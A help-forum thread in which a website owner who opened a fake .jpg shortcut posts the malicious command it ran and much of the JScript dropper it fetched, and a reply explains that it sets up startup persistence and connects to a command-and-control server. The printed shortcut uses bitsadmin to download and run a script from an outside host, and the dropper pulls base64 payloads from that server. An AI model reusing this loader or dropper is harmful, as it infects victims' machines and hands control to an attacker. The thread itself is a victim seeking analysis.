I received an email 20 minutes ago saying there was a problem on a website I run, it linked to an img download site. I downloaded the image, ran it and then noticed it was just named .jpg but was actually a shortcut. (Idiotic!).
The shortcut was:
C:\Windows\System32\cmd.exe /c mkdir c:\x1\ & cmd.exe /c attrib +h +s c:\x1 & cmd.exe /c "bitsadmin /transfer myjob /download /priority FOREGROUND www.dasc.ist/welcome.js c:\x1\1ax.js & start wscript.exe c:\x1\1ax.js"
and then contents of 1ax.js was:
sName = "win32";
var JpgName = "30012018";
var Server = "dasc.ist/file/file.php?file=
var YeniOlustur = WScript.CreateObject("WScript.Shell");
AppFolder = YeniOlustur.SpecialFolders("AppData");
InstallFolder = AppFolder+"\\Microsoft\\Windows\\Templates";
StartupFolder = YeniOlustur.SpecialFolders("Startup");
WindowsFolder = YeniOlustur.SpecialFolders("windir");
SystemFolder = WindowsFolder+"\\System32";
function Connect(islem,dosyadi)
var checkbeni = new ActiveXObject("MSXML2.XMLHTTP.3.0");
checkbeni["open"]("GET", Server+islem, false);
checkbeni.setRequestHeader("UserAgent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
var Cevap = checkbeni["responsetext"];
    var xmlObj = WScript.CreateObject("MSXml2.DOMDocument");
    var docElement = xmlObj.createElement("Base64Data");
    docElement.dataType = "bin.base64";
    docElement.text = Cevap;
    var outputStream = WScript.CreateObject("ADODB.Stream");
    outputStream.Type = 1;
    outputStream.SaveToFile(InstallFolder + "\\"+dosyadi, 2);
catch(AHA) {  WScript.sleep(1500); Connect(islem,dosyadi); }
function Install()
myObject = new ActiveXObject("Scripting.FileSystemObject");
if(!myObject.FileExists(InstallFolder + "\\"+JsName+".js")) {
YeniOlustur["run"](InstallFolder+"\\"+ScName+".lnk", 1);
if(!myObject.FileExists(InstallFolder + "\\"+JpgName+".jpg")) {
Connect(JpgName,JpgName+".jpg"); }
YeniOlustur["run"](InstallFolder+"\\"+JpgName+".jpg", 1);
function Short(adresv)
{ try{
var Kisayolcu = YeniOlustur.CreateShortcut(adresv + "\\"+ScName+".lnk");
var adresim = "wscript.exe";
Kisayolcu.TargetPath = adresim;
Kisayolcu.Arguments = InstallFolder+"\\"+JsName+".js";
Kisayolcu.WorkingDirectory = InstallFolder;
} catch(YOKYA){   WScript.sleep(1500);  Short(); } }
I would very much appreciate anyone who could tell me what this might have done. It was not picked up by my antivirus and I am running malwarebytes / tdss scans currently.
Thank you very much for any help / advice.

This script downloads some other javascript files and an image and sets it up like this:

%UserProfile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

On login, svchost.lnk will launch win32.js, which connects to a Command & Control server that will send commands to execute.

Thank you very much for your help and time in responding to me. I really appreciate it.


I decided to just reformat to be on the safe side.


I'll submit that email now.


Kind regards,
